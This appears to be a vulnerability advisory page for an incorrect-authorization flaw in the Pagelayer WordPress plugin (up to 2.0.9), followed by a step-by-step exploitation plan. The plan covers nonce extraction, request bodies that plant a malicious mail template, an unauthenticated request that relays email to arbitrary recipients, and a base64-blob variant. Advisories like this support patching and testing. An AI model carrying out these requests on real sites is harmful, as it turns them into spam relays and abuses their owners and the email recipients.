Pagelayer <= 2.0.9 - Incorrect Authorization to Authenticated (Contributor+) Mail Relay Configuration via 'contacts'
Description
The Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress is vulnerable to Incorrect Authorization in all versions up to, and including, 2.0.9. This is due to the pagelayer_save_content AJAX handler allowing users with basic post-edit capability to persist pagelayer_contact_templates metadata on posts they can edit (including pending posts), while the unauthenticated pagelayer_contact_submit endpoint later consumes that metadata by user-controlled post/form identifiers without enforcing a privileged or published-context boundary. This makes it possible for authenticated attackers, with Contributor-level access and above, to configure arbitrary contact-form mail templates that are usable through unauthenticated form submission via the contacts parameter. In typical deployments this template feature is configured via Pagelayer Pro UI; however, the vulnerable backend trust path is still present. This issue may be chained with CVE-2026-2442 to increase exploitability and attacker control over outbound email behavior.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.1.0
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-2470 - Pagelayer Mail Relay Configuration ## 1. Vulnerability Summary **CVE-2026-2470** is an Incorrect Authorization vulnerability in the Pagelayer plugin (<= 2.0.9). It allows an authenticated attacker with Contributor-level privileges to modify post metada…
Show full research plan
Vulnerability Research Plan: CVE-2026-2470 - Pagelayer Mail Relay Configuration
1. Vulnerability Summary
CVE-2026-2470 is an Incorrect Authorization vulnerability in the Pagelayer plugin (<= 2.0.9). It allows an authenticated attacker with Contributor-level privileges to modify post metadata (pagelayer_contact_templates) on posts they can edit. This metadata defines the configuration for contact form submissions, including the recipient email (to), subject, and message body.
The vulnerability exists because:
- The
pagelayer_save_contentAJAX handler allows users withedit_postscapability (Contributors+) to save arbitrary metadata to a post. - The unauthenticated
pagelayer_contact_submitendpoint retrieves this configuration using a user-controlledpost_idandcontactsidentifier without verifying if the post is published or if the configuration was authored by a trusted user.
This creates a Mail Relay where an attacker can configure a hidden post to send emails to arbitrary recipients, then trigger those emails as an unauthenticated user.
2. Attack Vector Analysis
- Authenticated Endpoint:
wp-admin/admin-ajax.php?action=pagelayer_save_content - Unauthenticated Endpoint:
wp-admin/admin-ajax.php?action=pagelayer_contact_submit - Authentication Required: Contributor+ for setup; None for execution.
- Vulnerable Parameter (Setup):
pagelayer_contact_templates(metadata payload). - Vulnerable Parameter (Execution):
post_idandcontacts(identifying the configured template). - Preconditions: The attacker must be able to create or edit a post (standard for Contributors).
3. Code Flow
Setup Phase (Authenticated):
- User calls
pagelayer_save_contentvia AJAX. main/ajax.php:pagelayer_save_content()checkspagelayer_user_can_edit($postID).- The function processes
$_POSTdata. According to the advisory, it permits savingpagelayer_contact_templates. - The plugin calls
update_post_meta($postID, 'pagelayer_contact_templates', $template_data).
- User calls
Execution Phase (Unauthenticated):
- An unauthenticated visitor calls
pagelayer_contact_submitvia AJAX. - The handler retrieves the
post_idfrom the request. - It fetches
get_post_meta($post_id, 'pagelayer_contact_templates', true). - It uses the
contactsparameter to select a specific template from the retrieved array. - The handler extracts
email_to,subject, andmessagefrom the template. - It calls
wp_mail()using these attacker-controlled values.
- An unauthenticated visitor calls
4. Nonce Acquisition Strategy
The pagelayer_save_content handler requires a nonce verified with check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce').
- Identify Enqueueing: Pagelayer enqueues its editor assets, including the nonce, on post-edit pages.
- Step-by-Step Acquisition:
- Create a post:
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID]. - Navigate to the edit page for that post using
browser_navigate. - The nonce is typically localized in the
pagelayer_configobject. - Tool Command:
browser_eval("pagelayer_config.pagelayer_nonce")orbrowser_eval("pagelayer_ajax.nonce")(based onmain/blocks.phplocalization patterns). - The specific JS variable can be confirmed by inspecting the page source for
wp_localize_script.
- Create a post:
5. Exploitation Strategy
Step 1: Metadata Injection (Contributor Access)
Send an authenticated request to configure the mail template.
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php?action=pagelayer_save_content&postID=[POST_ID] - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Contributor_Cookies] - Body Parameters:
pagelayer_nonce:[EXTRACTED_NONCE]pagelayer_contact_templates: (A serialized or JSON-encoded array containing the malicious template)- Example structure (inferred):
{"evil_template": {"email_to": "victim@example.com", "subject": "Spam", "message": "Relayed Content"}}
- Example structure (inferred):
pagelayer_update_content:W10=(Base64 for[]- empty content to satisfy the handler).
Step 2: Trigger Mail Relay (Unauthenticated)
Trigger the submission using the contacts parameter pointing to the injected template.
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:pagelayer_contact_submitpost_id:[POST_ID]contacts:evil_templatepagelayer_nonce: (If required for nopriv, usually it uses a different one or none. Verify ifwp_ajax_nopriv_pagelayer_contact_submitchecks nonces).
6. Test Data Setup
- User: Create a user
attackerwith rolecontributor. - Post: Create a draft post with
ID123authored byattacker. - Mail Log: Ensure
WP_DEBUGis on and a mail-logging plugin (ormailhog) is active to verify outbound traffic.
7. Expected Results
- Step 1: The server should return a JSON success message (e.g.,
{"success": true}). - Step 2: The server should return a success status related to form submission.
- Result: An email is sent to
victim@example.comwith the subject "Spam", bypassing any administrative controls over who can send mail from the server.
8. Verification Steps
- Verify Meta Persistence:
wp post meta get [POST_ID] pagelayer_contact_templates
Confirm the malicious JSON/array is present. - Verify Email Sent:
Check the system mail log or the mock SMTP server (e.g., MailHog) for the relayed message.
9. Alternative Approaches
If pagelayer_save_content does not directly accept pagelayer_contact_templates in $_POST, check if it accepts it within the pagelayer_update_content base64 blob. Pagelayer often embeds widget configuration (like contact forms) inside the main content blob.
Refined Payload in Blob:
- Construct a Pagelayer row/column structure in JSON.
- Add a
contact_formwidget. - Set the widget's properties to include the malicious template.
- Base64 encode the entire JSON and send as
pagelayer_update_content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.